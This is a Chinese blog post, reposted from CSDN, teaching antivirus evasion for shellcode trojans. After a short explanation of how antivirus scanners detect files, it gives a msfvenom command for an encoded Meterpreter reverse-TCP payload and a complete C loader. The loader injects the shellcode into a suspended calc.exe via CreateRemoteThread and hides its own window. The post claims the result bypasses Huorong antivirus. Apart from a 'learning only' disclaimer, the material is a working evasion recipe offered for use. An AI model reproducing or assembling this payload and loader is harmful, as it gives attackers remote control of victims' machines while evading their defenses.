前言
本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。
基础概念
免杀
免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。
杀毒软件工作原理
市面上的杀毒软件基本由扫描器、病毒特征库和虚拟机组成,它会把文件放在虚拟机内运行,扫描该文件的特征,包括静态特征、内存特征、行为特征等,通过和病毒特征库对比来判断一个文件是否为恶意文件。安全厂商一直在收集市面上出现的恶意文件添加进他们病毒库中,所以病毒文件要做到免杀的话就必须清除它本身的特征,杀软特征库匹配不上,就会把它当作正常文件,自然也就免杀了。
杀毒软件查杀原理
特征码扫描、文件校验和法、进程行为监测法(沙盒模式)、云查杀、主动防御技术、机器学习识别技术
何为shellcode
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因常让攻击者获得shell而得名。shellcode常常使用机器语言编写,可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
通俗讲,其实shellcode和其他代码没什么太大的区别,就是一段正常的code,常见的shellcode都是一串16进制的机器码,本质上是一段汇编指令
生成shellcode免杀马
msfvenom生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 \b '\x00' lhost=x.x.x.x lport=xxxx -f c
使用vc加载C#shellcode加载器
将msf生成的shellcode放入加载器中编译成exe可执行程序 (附:大佬的shellcode加载器 )
#include "stdafx.h"
#include <Windows.h>
#include<stdio.h>
#include <tchar.h>
#include "iostream"
using namespace std;
unsigned char shellcode[] = #[shellcode]
BOOL injection()
{
TCHAR Cappname[MAX_PATH] = { 0 };
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID lpMalwareBaseAddr;
LPVOID lpnewVictimBaseAddr;
HANDLE hThread;
DWORD dwExitCode;
BOOL bRet = FALSE;
lpMalwareBaseAddr = shellcode;
GetSystemDirectory(Cappname, MAX_PATH);
_tcscat(Cappname, "\\calc.exe");
printf("Injection program Name:%S\r\n", Cappname);
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (CreateProcess(Cappname, NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED
, NULL, NULL, &si, &pi) == 0)
{
return bRet;
}
lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
, NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (lpnewVictimBaseAddr == NULL)
{
return bRet;
}
WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
(LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);
hThread = CreateRemoteThread(pi.hProcess, 0, 0,
(LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
WaitForSingleObject(pi.hThread, INFINITE);
GetExitCodeProcess(pi.hProcess, &dwExitCode);
TerminateProcess(pi.hProcess, 0);
return bRet;
}
void help(char* proc)
{
printf("%s:[-] \nstart a process and injection shellcode to memory\r\n", proc);
}
int main(int argc, char* argv[])
{
HWND hwndDOS = GetForegroundWindow(); //得到前台窗口的句柄
ShowWindow(hwndDOS, SW_HIDE); //隐藏窗口
help(argv[0]);
injection();
return 0;
}
免杀效果(过火绒)
火绒
virustotal
总结
shellcode免杀有很多种,C算是最广泛出现的了,杀毒效果并不好,免杀都具有时效性;还有很多语言的加载器Python、GO语言等。
本文转载自: https://blog.csdn.net/LvHLong/article/details/124559566
版权归原作者 blalon 所有, 如有侵权,请联系我们删除。
版权归原作者 blalon 所有, 如有侵权,请联系我们删除。